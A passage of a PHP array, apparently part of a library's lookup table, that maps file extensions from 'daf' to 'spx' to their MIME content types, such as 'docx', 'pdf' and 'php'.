        'daf' => 'application/vnd.mobius.daf',
        'dart' => 'application/vnd.dart',
        'dataless' => 'application/vnd.fdsn.seed',
        'davmount' => 'application/davmount+xml',
        'dbf' => 'application/vnd.dbf',
        'dbk' => 'application/docbook+xml',
        'dcr' => 'application/x-director',
        'dcurl' => 'text/vnd.curl.dcurl',
        'dd2' => 'application/vnd.oma.dd2+xml',
        'ddd' => 'application/vnd.fujixerox.ddd',
        'ddf' => 'application/vnd.syncml.dmddf+xml',
        'dds' => 'image/vnd.ms-dds',
        'deb' => 'application/x-debian-package',
        'def' => 'text/plain',
        'deploy' => 'application/octet-stream',
        'der' => 'application/x-x509-ca-cert',
        'dfac' => 'application/vnd.dreamfactory',
        'dgc' => 'application/x-dgc-compressed',
        'dic' => 'text/x-c',
        'dir' => 'application/x-director',
        'dis' => 'application/vnd.mobius.dis',
        'disposition-notification' => 'message/disposition-notification',
        'dist' => 'application/octet-stream',
        'distz' => 'application/octet-stream',
        'djv' => 'image/vnd.djvu',
        'djvu' => 'image/vnd.djvu',
        'dll' => 'application/octet-stream',
        'dmg' => 'application/x-apple-diskimage',
        'dmn' => 'application/octet-stream',
        'dmp' => 'application/vnd.tcpdump.pcap',
        'dms' => 'application/octet-stream',
        'dna' => 'application/vnd.dna',
        'doc' => 'application/msword',
        'docm' => 'application/vnd.ms-word.template.macroEnabled.12',
        'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'dot' => 'application/msword',
        'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
        'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
        'dp' => 'application/vnd.osgi.dp',
        'dpg' => 'application/vnd.dpgraph',
        'dra' => 'audio/vnd.dra',
        'drle' => 'image/dicom-rle',
        'dsc' => 'text/prs.lines.tag',
        'dssc' => 'application/dssc+der',
        'dtb' => 'application/x-dtbook+xml',
        'dtd' => 'application/xml-dtd',
        'dts' => 'audio/vnd.dts',
        'dtshd' => 'audio/vnd.dts.hd',
        'dump' => 'application/octet-stream',
        'dvb' => 'video/vnd.dvb.file',
        'dvi' => 'application/x-dvi',
        'dwd' => 'application/atsc-dwd+xml',
        'dwf' => 'model/vnd.dwf',
        'dwg' => 'image/vnd.dwg',
        'dxf' => 'image/vnd.dxf',
        'dxp' => 'application/vnd.spotfire.dxp',
        'dxr' => 'application/x-director',
        'ear' => 'application/java-archive',
        'ecelp4800' => 'audio/vnd.nuera.ecelp4800',
        'ecelp7470' => 'audio/vnd.nuera.ecelp7470',
        'ecelp9600' => 'audio/vnd.nuera.ecelp9600',
        'ecma' => 'application/ecmascript',
        'edm' => 'application/vnd.novadigm.edm',
        'edx' => 'application/vnd.novadigm.edx',
        'efif' => 'application/vnd.picsel',
        'ei6' => 'application/vnd.pg.osasli',
        'elc' => 'application/octet-stream',
        'emf' => 'image/emf',
        'eml' => 'message/rfc822',
        'emma' => 'application/emma+xml',
        'emotionml' => 'application/emotionml+xml',
        'emz' => 'application/x-msmetafile',
        'eol' => 'audio/vnd.digital-winds',
        'eot' => 'application/vnd.ms-fontobject',
        'eps' => 'application/postscript',
        'epub' => 'application/epub+zip',
        'es' => 'application/ecmascript',
        'es3' => 'application/vnd.eszigno3+xml',
        'esa' => 'application/vnd.osgi.subsystem',
        'esf' => 'application/vnd.epson.esf',
        'et3' => 'application/vnd.eszigno3+xml',
        'etx' => 'text/x-setext',
        'eva' => 'application/x-eva',
        'evy' => 'application/x-envoy',
        'exe' => 'application/octet-stream',
        'exi' => 'application/exi',
        'exp' => 'application/express',
        'exr' => 'image/aces',
        'ext' => 'application/vnd.novadigm.ext',
        'ez' => 'application/andrew-inset',
        'ez2' => 'application/vnd.ezpix-album',
        'ez3' => 'application/vnd.ezpix-package',
        'f' => 'text/x-fortran',
        'f4v' => 'video/mp4',
        'f77' => 'text/x-fortran',
        'f90' => 'text/x-fortran',
        'fbs' => 'image/vnd.fastbidsheet',
        'fcdt' => 'application/vnd.adobe.formscentral.fcdt',
        'fcs' => 'application/vnd.isac.fcs',
        'fdf' => 'application/vnd.fdf',
        'fdt' => 'application/fdt+xml',
        'fe_launch' => 'application/vnd.denovo.fcselayout-link',
        'fg5' => 'application/vnd.fujitsu.oasysgp',
        'fgd' => 'application/x-director',
        'fh' => 'image/x-freehand',
        'fh4' => 'image/x-freehand',
        'fh5' => 'image/x-freehand',
        'fh7' => 'image/x-freehand',
        'fhc' => 'image/x-freehand',
        'fig' => 'application/x-xfig',
        'fits' => 'image/fits',
        'flac' => 'audio/x-flac',
        'fli' => 'video/x-fli',
        'flo' => 'application/vnd.micrografx.flo',
        'flv' => 'video/x-flv',
        'flw' => 'application/vnd.kde.kivio',
        'flx' => 'text/vnd.fmi.flexstor',
        'fly' => 'text/vnd.fly',
        'fm' => 'application/vnd.framemaker',
        'fnc' => 'application/vnd.frogans.fnc',
        'fo' => 'application/vnd.software602.filler.form+xml',
        'for' => 'text/x-fortran',
        'fpx' => 'image/vnd.fpx',
        'frame' => 'application/vnd.framemaker',
        'fsc' => 'application/vnd.fsc.weblaunch',
        'fst' => 'image/vnd.fst',
        'ftc' => 'application/vnd.fluxtime.clip',
        'fti' => 'application/vnd.anser-web-funds-transfer-initiation',
        'fvt' => 'video/vnd.fvt',
        'fxp' => 'application/vnd.adobe.fxp',
        'fxpl' => 'application/vnd.adobe.fxp',
        'fzs' => 'application/vnd.fuzzysheet',
        'g2w' => 'application/vnd.geoplan',
        'g3' => 'image/g3fax',
        'g3w' => 'application/vnd.geospace',
        'gac' => 'application/vnd.groove-account',
        'gam' => 'application/x-tads',
        'gbr' => 'application/rpki-ghostbusters',
        'gca' => 'application/x-gca-compressed',
        'gdl' => 'model/vnd.gdl',
        'gdoc' => 'application/vnd.google-apps.document',
        'ged' => 'text/vnd.familysearch.gedcom',
        'geo' => 'application/vnd.dynageo',
        'geojson' => 'application/geo+json',
        'gex' => 'application/vnd.geometry-explorer',
        'ggb' => 'application/vnd.geogebra.file',
        'ggt' => 'application/vnd.geogebra.tool',
        'ghf' => 'application/vnd.groove-help',
        'gif' => 'image/gif',
        'gim' => 'application/vnd.groove-identity-message',
        'glb' => 'model/gltf-binary',
        'gltf' => 'model/gltf+json',
        'gml' => 'application/gml+xml',
        'gmx' => 'application/vnd.gmx',
        'gnumeric' => 'application/x-gnumeric',
        'gpg' => 'application/gpg-keys',
        'gph' => 'application/vnd.flographit',
        'gpx' => 'application/gpx+xml',
        'gqf' => 'application/vnd.grafeq',
        'gqs' => 'application/vnd.grafeq',
        'gram' => 'application/srgs',
        'gramps' => 'application/x-gramps-xml',
        'gre' => 'application/vnd.geometry-explorer',
        'grv' => 'application/vnd.groove-injector',
        'grxml' => 'application/srgs+xml',
        'gsf' => 'application/x-font-ghostscript',
        'gsheet' => 'application/vnd.google-apps.spreadsheet',
        'gslides' => 'application/vnd.google-apps.presentation',
        'gtar' => 'application/x-gtar',
        'gtm' => 'application/vnd.groove-tool-message',
        'gtw' => 'model/vnd.gtw',
        'gv' => 'text/vnd.graphviz',
        'gxf' => 'application/gxf',
        'gxt' => 'application/vnd.geonext',
        'gz' => 'application/gzip',
        'gzip' => 'application/gzip',
        'h' => 'text/x-c',
        'h261' => 'video/h261',
        'h263' => 'video/h263',
        'h264' => 'video/h264',
        'hal' => 'application/vnd.hal+xml',
        'hbci' => 'application/vnd.hbci',
        'hbs' => 'text/x-handlebars-template',
        'hdd' => 'application/x-virtualbox-hdd',
        'hdf' => 'application/x-hdf',
        'heic' => 'image/heic',
        'heics' => 'image/heic-sequence',
        'heif' => 'image/heif',
        'heifs' => 'image/heif-sequence',
        'hej2' => 'image/hej2k',
        'held' => 'application/atsc-held+xml',
        'hh' => 'text/x-c',
        'hjson' => 'application/hjson',
        'hlp' => 'application/winhlp',
        'hpgl' => 'application/vnd.hp-hpgl',
        'hpid' => 'application/vnd.hp-hpid',
        'hps' => 'application/vnd.hp-hps',
        'hqx' => 'application/mac-binhex40',
        'hsj2' => 'image/hsj2',
        'htc' => 'text/x-component',
        'htke' => 'application/vnd.kenameaapp',
        'htm' => 'text/html',
        'html' => 'text/html',
        'hvd' => 'application/vnd.yamaha.hv-dic',
        'hvp' => 'application/vnd.yamaha.hv-voice',
        'hvs' => 'application/vnd.yamaha.hv-script',
        'i2g' => 'application/vnd.intergeo',
        'icc' => 'application/vnd.iccprofile',
        'ice' => 'x-conference/x-cooltalk',
        'icm' => 'application/vnd.iccprofile',
        'ico' => 'image/x-icon',
        'ics' => 'text/calendar',
        'ief' => 'image/ief',
        'ifb' => 'text/calendar',
        'ifm' => 'application/vnd.shana.informed.formdata',
        'iges' => 'model/iges',
        'igl' => 'application/vnd.igloader',
        'igm' => 'application/vnd.insors.igm',
        'igs' => 'model/iges',
        'igx' => 'application/vnd.micrografx.igx',
        'iif' => 'application/vnd.shana.informed.interchange',
        'img' => 'application/octet-stream',
        'imp' => 'application/vnd.accpac.simply.imp',
        'ims' => 'application/vnd.ms-ims',
        'in' => 'text/plain',
        'ini' => 'text/plain',
        'ink' => 'application/inkml+xml',
        'inkml' => 'application/inkml+xml',
        'install' => 'application/x-install-instructions',
        'iota' => 'application/vnd.astraea-software.iota',
        'ipfix' => 'application/ipfix',
        'ipk' => 'application/vnd.shana.informed.package',
        'irm' => 'application/vnd.ibm.rights-management',
        'irp' => 'application/vnd.irepository.package+xml',
        'iso' => 'application/x-iso9660-image',
        'itp' => 'application/vnd.shana.informed.formtemplate',
        'its' => 'application/its+xml',
        'ivp' => 'application/vnd.immervision-ivp',
        'ivu' => 'application/vnd.immervision-ivu',
        'jad' => 'text/vnd.sun.j2me.app-descriptor',
        'jade' => 'text/jade',
        'jam' => 'application/vnd.jam',
        'jar' => 'application/java-archive',
        'jardiff' => 'application/x-java-archive-diff',
        'java' => 'text/x-java-source',
        'jhc' => 'image/jphc',
        'jisp' => 'application/vnd.jisp',
        'jls' => 'image/jls',
        'jlt' => 'application/vnd.hp-jlyt',
        'jng' => 'image/x-jng',
        'jnlp' => 'application/x-java-jnlp-file',
        'joda' => 'application/vnd.joost.joda-archive',
        'jp2' => 'image/jp2',
        'jpe' => 'image/jpeg',
        'jpeg' => 'image/jpeg',
        'jpf' => 'image/jpx',
        'jpg' => 'image/jpeg',
        'jpg2' => 'image/jp2',
        'jpgm' => 'video/jpm',
        'jpgv' => 'video/jpeg',
        'jph' => 'image/jph',
        'jpm' => 'video/jpm',
        'jpx' => 'image/jpx',
        'js' => 'application/javascript',
        'json' => 'application/json',
        'json5' => 'application/json5',
        'jsonld' => 'application/ld+json',
        'jsonml' => 'application/jsonml+json',
        'jsx' => 'text/jsx',
        'jxr' => 'image/jxr',
        'jxra' => 'image/jxra',
        'jxrs' => 'image/jxrs',
        'jxs' => 'image/jxs',
        'jxsc' => 'image/jxsc',
        'jxsi' => 'image/jxsi',
        'jxss' => 'image/jxss',
        'kar' => 'audio/midi',
        'karbon' => 'application/vnd.kde.karbon',
        'kdb' => 'application/octet-stream',
        'kdbx' => 'application/x-keepass2',
        'key' => 'application/x-iwork-keynote-sffkey',
        'kfo' => 'application/vnd.kde.kformula',
        'kia' => 'application/vnd.kidspiration',
        'kml' => 'application/vnd.google-earth.kml+xml',
        'kmz' => 'application/vnd.google-earth.kmz',
        'kne' => 'application/vnd.kinar',
        'knp' => 'application/vnd.kinar',
        'kon' => 'application/vnd.kde.kontour',
        'kpr' => 'application/vnd.kde.kpresenter',
        'kpt' => 'application/vnd.kde.kpresenter',
        'kpxx' => 'application/vnd.ds-keypoint',
        'ksp' => 'application/vnd.kde.kspread',
        'ktr' => 'application/vnd.kahootz',
        'ktx' => 'image/ktx',
        'ktx2' => 'image/ktx2',
        'ktz' => 'application/vnd.kahootz',
        'kwd' => 'application/vnd.kde.kword',
        'kwt' => 'application/vnd.kde.kword',
        'lasxml' => 'application/vnd.las.las+xml',
        'latex' => 'application/x-latex',
        'lbd' => 'application/vnd.llamagraphics.life-balance.desktop',
        'lbe' => 'application/vnd.llamagraphics.life-balance.exchange+xml',
        'les' => 'application/vnd.hhe.lesson-player',
        'less' => 'text/less',
        'lgr' => 'application/lgr+xml',
        'lha' => 'application/octet-stream',
        'link66' => 'application/vnd.route66.link66+xml',
        'list' => 'text/plain',
        'list3820' => 'application/vnd.ibm.modcap',
        'listafp' => 'application/vnd.ibm.modcap',
        'litcoffee' => 'text/coffeescript',
        'lnk' => 'application/x-ms-shortcut',
        'log' => 'text/plain',
        'lostxml' => 'application/lost+xml',
        'lrf' => 'application/octet-stream',
        'lrm' => 'application/vnd.ms-lrm',
        'ltf' => 'application/vnd.frogans.ltf',
        'lua' => 'text/x-lua',
        'luac' => 'application/x-lua-bytecode',
        'lvp' => 'audio/vnd.lucent.voice',
        'lwp' => 'application/vnd.lotus-wordpro',
        'lzh' => 'application/octet-stream',
        'm1v' => 'video/mpeg',
        'm2a' => 'audio/mpeg',
        'm2v' => 'video/mpeg',
        'm3a' => 'audio/mpeg',
        'm3u' => 'text/plain',
        'm3u8' => 'application/vnd.apple.mpegurl',
        'm4a' => 'audio/x-m4a',
        'm4p' => 'application/mp4',
        'm4s' => 'video/iso.segment',
        'm4u' => 'application/vnd.mpegurl',
        'm4v' => 'video/x-m4v',
        'm13' => 'application/x-msmediaview',
        'm14' => 'application/x-msmediaview',
        'm21' => 'application/mp21',
        'ma' => 'application/mathematica',
        'mads' => 'application/mads+xml',
        'maei' => 'application/mmt-aei+xml',
        'mag' => 'application/vnd.ecowin.chart',
        'maker' => 'application/vnd.framemaker',
        'man' => 'text/troff',
        'manifest' => 'text/cache-manifest',
        'map' => 'application/json',
        'mar' => 'application/octet-stream',
        'markdown' => 'text/markdown',
        'mathml' => 'application/mathml+xml',
        'mb' => 'application/mathematica',
        'mbk' => 'application/vnd.mobius.mbk',
        'mbox' => 'application/mbox',
        'mc1' => 'application/vnd.medcalcdata',
        'mcd' => 'application/vnd.mcd',
        'mcurl' => 'text/vnd.curl.mcurl',
        'md' => 'text/markdown',
        'mdb' => 'application/x-msaccess',
        'mdi' => 'image/vnd.ms-modi',
        'mdx' => 'text/mdx',
        'me' => 'text/troff',
        'mesh' => 'model/mesh',
        'meta4' => 'application/metalink4+xml',
        'metalink' => 'application/metalink+xml',
        'mets' => 'application/mets+xml',
        'mfm' => 'application/vnd.mfmp',
        'mft' => 'application/rpki-manifest',
        'mgp' => 'application/vnd.osgeo.mapguide.package',
        'mgz' => 'application/vnd.proteus.magazine',
        'mid' => 'audio/midi',
        'midi' => 'audio/midi',
        'mie' => 'application/x-mie',
        'mif' => 'application/vnd.mif',
        'mime' => 'message/rfc822',
        'mj2' => 'video/mj2',
        'mjp2' => 'video/mj2',
        'mjs' => 'application/javascript',
        'mk3d' => 'video/x-matroska',
        'mka' => 'audio/x-matroska',
        'mkd' => 'text/x-markdown',
        'mks' => 'video/x-matroska',
        'mkv' => 'video/x-matroska',
        'mlp' => 'application/vnd.dolby.mlp',
        'mmd' => 'application/vnd.chipnuts.karaoke-mmd',
        'mmf' => 'application/vnd.smaf',
        'mml' => 'text/mathml',
        'mmr' => 'image/vnd.fujixerox.edmics-mmr',
        'mng' => 'video/x-mng',
        'mny' => 'application/x-msmoney',
        'mobi' => 'application/x-mobipocket-ebook',
        'mods' => 'application/mods+xml',
        'mov' => 'video/quicktime',
        'movie' => 'video/x-sgi-movie',
        'mp2' => 'audio/mpeg',
        'mp2a' => 'audio/mpeg',
        'mp3' => 'audio/mpeg',
        'mp4' => 'video/mp4',
        'mp4a' => 'audio/mp4',
        'mp4s' => 'application/mp4',
        'mp4v' => 'video/mp4',
        'mp21' => 'application/mp21',
        'mpc' => 'application/vnd.mophun.certificate',
        'mpd' => 'application/dash+xml',
        'mpe' => 'video/mpeg',
        'mpeg' => 'video/mpeg',
        'mpf' => 'application/media-policy-dataset+xml',
        'mpg' => 'video/mpeg',
        'mpg4' => 'video/mp4',
        'mpga' => 'audio/mpeg',
        'mpkg' => 'application/vnd.apple.installer+xml',
        'mpm' => 'application/vnd.blueice.multipass',
        'mpn' => 'application/vnd.mophun.application',
        'mpp' => 'application/vnd.ms-project',
        'mpt' => 'application/vnd.ms-project',
        'mpy' => 'application/vnd.ibm.minipay',
        'mqy' => 'application/vnd.mobius.mqy',
        'mrc' => 'application/marc',
        'mrcx' => 'application/marcxml+xml',
        'ms' => 'text/troff',
        'mscml' => 'application/mediaservercontrol+xml',
        'mseed' => 'application/vnd.fdsn.mseed',
        'mseq' => 'application/vnd.mseq',
        'msf' => 'application/vnd.epson.msf',
        'msg' => 'application/vnd.ms-outlook',
        'msh' => 'model/mesh',
        'msi' => 'application/x-msdownload',
        'msl' => 'application/vnd.mobius.msl',
        'msm' => 'application/octet-stream',
        'msp' => 'application/octet-stream',
        'msty' => 'application/vnd.muvee.style',
        'mtl' => 'model/mtl',
        'mts' => 'model/vnd.mts',
        'mus' => 'application/vnd.musician',
        'musd' => 'application/mmt-usd+xml',
        'musicxml' => 'application/vnd.recordare.musicxml+xml',
        'mvb' => 'application/x-msmediaview',
        'mvt' => 'application/vnd.mapbox-vector-tile',
        'mwf' => 'application/vnd.mfer',
        'mxf' => 'application/mxf',
        'mxl' => 'application/vnd.recordare.musicxml',
        'mxmf' => 'audio/mobile-xmf',
        'mxml' => 'application/xv+xml',
        'mxs' => 'application/vnd.triscape.mxs',
        'mxu' => 'video/vnd.mpegurl',
        'n-gage' => 'application/vnd.nokia.n-gage.symbian.install',
        'n3' => 'text/n3',
        'nb' => 'application/mathematica',
        'nbp' => 'application/vnd.wolfram.player',
        'nc' => 'application/x-netcdf',
        'ncx' => 'application/x-dtbncx+xml',
        'nfo' => 'text/x-nfo',
        'ngdat' => 'application/vnd.nokia.n-gage.data',
        'nitf' => 'application/vnd.nitf',
        'nlu' => 'application/vnd.neurolanguage.nlu',
        'nml' => 'application/vnd.enliven',
        'nnd' => 'application/vnd.noblenet-directory',
        'nns' => 'application/vnd.noblenet-sealer',
        'nnw' => 'application/vnd.noblenet-web',
        'npx' => 'image/vnd.net-fpx',
        'nq' => 'application/n-quads',
        'nsc' => 'application/x-conference',
        'nsf' => 'application/vnd.lotus-notes',
        'nt' => 'application/n-triples',
        'ntf' => 'application/vnd.nitf',
        'numbers' => 'application/x-iwork-numbers-sffnumbers',
        'nzb' => 'application/x-nzb',
        'oa2' => 'application/vnd.fujitsu.oasys2',
        'oa3' => 'application/vnd.fujitsu.oasys3',
        'oas' => 'application/vnd.fujitsu.oasys',
        'obd' => 'application/x-msbinder',
        'obgx' => 'application/vnd.openblox.game+xml',
        'obj' => 'model/obj',
        'oda' => 'application/oda',
        'odb' => 'application/vnd.oasis.opendocument.database',
        'odc' => 'application/vnd.oasis.opendocument.chart',
        'odf' => 'application/vnd.oasis.opendocument.formula',
        'odft' => 'application/vnd.oasis.opendocument.formula-template',
        'odg' => 'application/vnd.oasis.opendocument.graphics',
        'odi' => 'application/vnd.oasis.opendocument.image',
        'odm' => 'application/vnd.oasis.opendocument.text-master',
        'odp' => 'application/vnd.oasis.opendocument.presentation',
        'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
        'odt' => 'application/vnd.oasis.opendocument.text',
        'oga' => 'audio/ogg',
        'ogex' => 'model/vnd.opengex',
        'ogg' => 'audio/ogg',
        'ogv' => 'video/ogg',
        'ogx' => 'application/ogg',
        'omdoc' => 'application/omdoc+xml',
        'onepkg' => 'application/onenote',
        'onetmp' => 'application/onenote',
        'onetoc' => 'application/onenote',
        'onetoc2' => 'application/onenote',
        'opf' => 'application/oebps-package+xml',
        'opml' => 'text/x-opml',
        'oprc' => 'application/vnd.palm',
        'opus' => 'audio/ogg',
        'org' => 'text/x-org',
        'osf' => 'application/vnd.yamaha.openscoreformat',
        'osfpvg' => 'application/vnd.yamaha.openscoreformat.osfpvg+xml',
        'osm' => 'application/vnd.openstreetmap.data+xml',
        'otc' => 'application/vnd.oasis.opendocument.chart-template',
        'otf' => 'font/otf',
        'otg' => 'application/vnd.oasis.opendocument.graphics-template',
        'oth' => 'application/vnd.oasis.opendocument.text-web',
        'oti' => 'application/vnd.oasis.opendocument.image-template',
        'otp' => 'application/vnd.oasis.opendocument.presentation-template',
        'ots' => 'application/vnd.oasis.opendocument.spreadsheet-template',
        'ott' => 'application/vnd.oasis.opendocument.text-template',
        'ova' => 'application/x-virtualbox-ova',
        'ovf' => 'application/x-virtualbox-ovf',
        'owl' => 'application/rdf+xml',
        'oxps' => 'application/oxps',
        'oxt' => 'application/vnd.openofficeorg.extension',
        'p' => 'text/x-pascal',
        'p7a' => 'application/x-pkcs7-signature',
        'p7b' => 'application/x-pkcs7-certificates',
        'p7c' => 'application/pkcs7-mime',
        'p7m' => 'application/pkcs7-mime',
        'p7r' => 'application/x-pkcs7-certreqresp',
        'p7s' => 'application/pkcs7-signature',
        'p8' => 'application/pkcs8',
        'p10' => 'application/x-pkcs10',
        'p12' => 'application/x-pkcs12',
        'pac' => 'application/x-ns-proxy-autoconfig',
        'pages' => 'application/x-iwork-pages-sffpages',
        'pas' => 'text/x-pascal',
        'paw' => 'application/vnd.pawaafile',
        'pbd' => 'application/vnd.powerbuilder6',
        'pbm' => 'image/x-portable-bitmap',
        'pcap' => 'application/vnd.tcpdump.pcap',
        'pcf' => 'application/x-font-pcf',
        'pcl' => 'application/vnd.hp-pcl',
        'pclxl' => 'application/vnd.hp-pclxl',
        'pct' => 'image/x-pict',
        'pcurl' => 'application/vnd.curl.pcurl',
        'pcx' => 'image/x-pcx',
        'pdb' => 'application/x-pilot',
        'pde' => 'text/x-processing',
        'pdf' => 'application/pdf',
        'pem' => 'application/x-x509-user-cert',
        'pfa' => 'application/x-font-type1',
        'pfb' => 'application/x-font-type1',
        'pfm' => 'application/x-font-type1',
        'pfr' => 'application/font-tdpfr',
        'pfx' => 'application/x-pkcs12',
        'pgm' => 'image/x-portable-graymap',
        'pgn' => 'application/x-chess-pgn',
        'pgp' => 'application/pgp',
        'phar' => 'application/octet-stream',
        'php' => 'application/x-httpd-php',
        'php3' => 'application/x-httpd-php',
        'php4' => 'application/x-httpd-php',
        'phps' => 'application/x-httpd-php-source',
        'phtml' => 'application/x-httpd-php',
        'pic' => 'image/x-pict',
        'pkg' => 'application/octet-stream',
        'pki' => 'application/pkixcmp',
        'pkipath' => 'application/pkix-pkipath',
        'pkpass' => 'application/vnd.apple.pkpass',
        'pl' => 'application/x-perl',
        'plb' => 'application/vnd.3gpp.pic-bw-large',
        'plc' => 'application/vnd.mobius.plc',
        'plf' => 'application/vnd.pocketlearn',
        'pls' => 'application/pls+xml',
        'pm' => 'application/x-perl',
        'pml' => 'application/vnd.ctc-posml',
        'png' => 'image/png',
        'pnm' => 'image/x-portable-anymap',
        'portpkg' => 'application/vnd.macports.portpkg',
        'pot' => 'application/vnd.ms-powerpoint',
        'potm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
        'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
        'ppa' => 'application/vnd.ms-powerpoint',
        'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
        'ppd' => 'application/vnd.cups-ppd',
        'ppm' => 'image/x-portable-pixmap',
        'pps' => 'application/vnd.ms-powerpoint',
        'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
        'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
        'ppt' => 'application/powerpoint',
        'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
        'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
        'pqa' => 'application/vnd.palm',
        'prc' => 'model/prc',
        'pre' => 'application/vnd.lotus-freelance',
        'prf' => 'application/pics-rules',
        'provx' => 'application/provenance+xml',
        'ps' => 'application/postscript',
        'psb' => 'application/vnd.3gpp.pic-bw-small',
        'psd' => 'application/x-photoshop',
        'psf' => 'application/x-font-linux-psf',
        'pskcxml' => 'application/pskc+xml',
        'pti' => 'image/prs.pti',
        'ptid' => 'application/vnd.pvi.ptid1',
        'pub' => 'application/x-mspublisher',
        'pvb' => 'application/vnd.3gpp.pic-bw-var',
        'pwn' => 'application/vnd.3m.post-it-notes',
        'pya' => 'audio/vnd.ms-playready.media.pya',
        'pyv' => 'video/vnd.ms-playready.media.pyv',
        'qam' => 'application/vnd.epson.quickanime',
        'qbo' => 'application/vnd.intu.qbo',
        'qfx' => 'application/vnd.intu.qfx',
        'qps' => 'application/vnd.publishare-delta-tree',
        'qt' => 'video/quicktime',
        'qwd' => 'application/vnd.quark.quarkxpress',
        'qwt' => 'application/vnd.quark.quarkxpress',
        'qxb' => 'application/vnd.quark.quarkxpress',
        'qxd' => 'application/vnd.quark.quarkxpress',
        'qxl' => 'application/vnd.quark.quarkxpress',
        'qxt' => 'application/vnd.quark.quarkxpress',
        'ra' => 'audio/x-realaudio',
        'ram' => 'audio/x-pn-realaudio',
        'raml' => 'application/raml+yaml',
        'rapd' => 'application/route-apd+xml',
        'rar' => 'application/x-rar',
        'ras' => 'image/x-cmu-raster',
        'rcprofile' => 'application/vnd.ipunplugged.rcprofile',
        'rdf' => 'application/rdf+xml',
        'rdz' => 'application/vnd.data-vision.rdz',
        'relo' => 'application/p2p-overlay+xml',
        'rep' => 'application/vnd.businessobjects',
        'res' => 'application/x-dtbresource+xml',
        'rgb' => 'image/x-rgb',
        'rif' => 'application/reginfo+xml',
        'rip' => 'audio/vnd.rip',
        'ris' => 'application/x-research-info-systems',
        'rl' => 'application/resource-lists+xml',
        'rlc' => 'image/vnd.fujixerox.edmics-rlc',
        'rld' => 'application/resource-lists-diff+xml',
        'rm' => 'audio/x-pn-realaudio',
        'rmi' => 'audio/midi',
        'rmp' => 'audio/x-pn-realaudio-plugin',
        'rms' => 'application/vnd.jcp.javame.midlet-rms',
        'rmvb' => 'application/vnd.rn-realmedia-vbr',
        'rnc' => 'application/relax-ng-compact-syntax',
        'rng' => 'application/xml',
        'roa' => 'application/rpki-roa',
        'roff' => 'text/troff',
        'rp9' => 'application/vnd.cloanto.rp9',
        'rpm' => 'audio/x-pn-realaudio-plugin',
        'rpss' => 'application/vnd.nokia.radio-presets',
        'rpst' => 'application/vnd.nokia.radio-preset',
        'rq' => 'application/sparql-query',
        'rs' => 'application/rls-services+xml',
        'rsa' => 'application/x-pkcs7',
        'rsat' => 'application/atsc-rsat+xml',
        'rsd' => 'application/rsd+xml',
        'rsheet' => 'application/urc-ressheet+xml',
        'rss' => 'application/rss+xml',
        'rtf' => 'text/rtf',
        'rtx' => 'text/richtext',
        'run' => 'application/x-makeself',
        'rusd' => 'application/route-usd+xml',
        'rv' => 'video/vnd.rn-realvideo',
        's' => 'text/x-asm',
        's3m' => 'audio/s3m',
        'saf' => 'application/vnd.yamaha.smaf-audio',
        'sass' => 'text/x-sass',
        'sbml' => 'application/sbml+xml',
        'sc' => 'application/vnd.ibm.secure-container',
        'scd' => 'application/x-msschedule',
        'scm' => 'application/vnd.lotus-screencam',
        'scq' => 'application/scvp-cv-request',
        'scs' => 'application/scvp-cv-response',
        'scss' => 'text/x-scss',
        'scurl' => 'text/vnd.curl.scurl',
        'sda' => 'application/vnd.stardivision.draw',
        'sdc' => 'application/vnd.stardivision.calc',
        'sdd' => 'application/vnd.stardivision.impress',
        'sdkd' => 'application/vnd.solent.sdkm+xml',
        'sdkm' => 'application/vnd.solent.sdkm+xml',
        'sdp' => 'application/sdp',
        'sdw' => 'application/vnd.stardivision.writer',
        'sea' => 'application/octet-stream',
        'see' => 'application/vnd.seemail',
        'seed' => 'application/vnd.fdsn.seed',
        'sema' => 'application/vnd.sema',
        'semd' => 'application/vnd.semd',
        'semf' => 'application/vnd.semf',
        'senmlx' => 'application/senml+xml',
        'sensmlx' => 'application/sensml+xml',
        'ser' => 'application/java-serialized-object',
        'setpay' => 'application/set-payment-initiation',
        'setreg' => 'application/set-registration-initiation',
        'sfd-hdstx' => 'application/vnd.hydrostatix.sof-data',
        'sfs' => 'application/vnd.spotfire.sfs',
        'sfv' => 'text/x-sfv',
        'sgi' => 'image/sgi',
        'sgl' => 'application/vnd.stardivision.writer-global',
        'sgm' => 'text/sgml',
        'sgml' => 'text/sgml',
        'sh' => 'application/x-sh',
        'shar' => 'application/x-shar',
        'shex' => 'text/shex',
        'shf' => 'application/shf+xml',
        'shtml' => 'text/html',
        'sid' => 'image/x-mrsid-image',
        'sieve' => 'application/sieve',
        'sig' => 'application/pgp-signature',
        'sil' => 'audio/silk',
        'silo' => 'model/mesh',
        'sis' => 'application/vnd.symbian.install',
        'sisx' => 'application/vnd.symbian.install',
        'sit' => 'application/x-stuffit',
        'sitx' => 'application/x-stuffitx',
        'siv' => 'application/sieve',
        'skd' => 'application/vnd.koan',
        'skm' => 'application/vnd.koan',
        'skp' => 'application/vnd.koan',
        'skt' => 'application/vnd.koan',
        'sldm' => 'application/vnd.ms-powerpoint.slide.macroenabled.12',
        'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
        'slim' => 'text/slim',
        'slm' => 'text/slim',
        'sls' => 'application/route-s-tsid+xml',
        'slt' => 'application/vnd.epson.salt',
        'sm' => 'application/vnd.stepmania.stepchart',
        'smf' => 'application/vnd.stardivision.math',
        'smi' => 'application/smil',
        'smil' => 'application/smil',
        'smv' => 'video/x-smv',
        'smzip' => 'application/vnd.stepmania.package',
        'snd' => 'audio/basic',
        'snf' => 'application/x-font-snf',
        'so' => 'application/octet-stream',
        'spc' => 'application/x-pkcs7-certificates',
        'spdx' => 'text/spdx',
        'spf' => 'application/vnd.yamaha.smaf-phrase',
        'spl' => 'application/x-futuresplash',
        'spot' => 'text/vnd.in3d.spot',
        'spp' => 'application/scvp-vp-response',
        'spq' => 'application/scvp-vp-request',
        'spx' => 'audio/ogg',
